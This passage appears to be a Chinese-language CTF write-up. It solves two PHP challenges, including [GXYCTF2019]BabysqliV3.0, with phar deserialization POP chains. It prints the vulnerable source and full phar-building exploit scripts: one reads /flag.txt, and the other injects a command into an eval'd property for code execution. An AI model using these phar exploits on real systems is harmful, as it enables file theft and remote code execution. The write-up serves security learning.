        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        //phpinfo();
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        //phpinfo();
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}

利用file_get_contents函式讀取flag(對關鍵字沒有過濾)

image-20240321145342428

close方法反推找到了

image-20240321151601351

$db一般指mysql資料庫物件 但是可以構造$db為指定的File物件 便於讀取檔案

注意 __call魔術方法,這個魔術方法的主要功能就是,如果要呼叫的方法我們這個類中不存在,就會去File中找這個方法,並把執行結果存入

$this->results[$file->name()][$func]

POP鏈:讓 $db為 FileList物件,當 $db銷燬時,觸發 __destruct,呼叫close(),由於 FileList沒有這個方法,於是去 File類中找方法,讀取到檔案,存入 results

$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()輸出$result
<?php
class User {
    public $db;
    public function __construct(){
        $this->db=new FileList();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files=array(new File());
        $this->results=array();
        $this->funcs=array();
    }
}

class File {
    public $filename="/flag.txt";
}

$user=new User();
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$phar->setMetadata($user);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

將phar檔案修改字尾 刪除時抓包

image-20240321161733523

獲得flag{fdb7aa36-b9de-4313-88e5-ee627acb6f32}

[GXYCTF2019]BabysqliV3.0

輸入admin password登入

image-20240321163427112

url後面傳入的 是file=upload 利用偽協議對upload進行編碼得到原始碼

image-20240321163721453

home.php

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "當前引用的是 ".$file;
			require $file;
		}
		
	}
	else{
		die("no permission!");
	}
}
?>

upload.php

<?php
class Uploader{
    public $Filename;
    public $cmd;
    public $token;


    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上傳的檔案:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

利用file-fte-contents函式讀取檔案

image-20240321164650928

file_get_contents() 使 $uploader 透過__toString() 返回 $this->Filename$this->Filename 可控,因此此處 $this->Filename 用來觸發 phar,__destruct() 方法內 eval($this->cmd); 進行 RCE

image-20240321165208075

__destruct() 方法中,想要 eval($this->cmd); 的前提條件是 $this->token$_SESSION['user'] 相等

image-20240321165445461

再看__construct()方法,當我們不傳name引數的時候,會將$this->Filename賦值為包含$_SESSION['user']值的檔名,因此我們可以先隨便上傳一個txt,在返回的目錄中得到$_SESSION['user']的值。

image-20240321171439184

構造phar檔案

<?php
class Uploader
{
    public $Filename;
    public $cmd;
    public $token;
}

$a = new Uploader();
$a->Filename="test";
$a->cmd="highlight_file('/var/www/html/flag.php');";
$a->token="GXYe7d02718b005eb627b96152329758509";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub,增加gif檔案頭
$phar->setMetadata($a); //將自定義meta-data存入manifest
$phar->addFromString("test.txt", "test"); //新增要壓縮的檔案
$phar->stopBuffering();

將生成的phar檔案上傳 得到路徑

image-20240321171718590

phar偽協議+路徑上傳 抓包

得到flag

image-20240321194935648

相關文章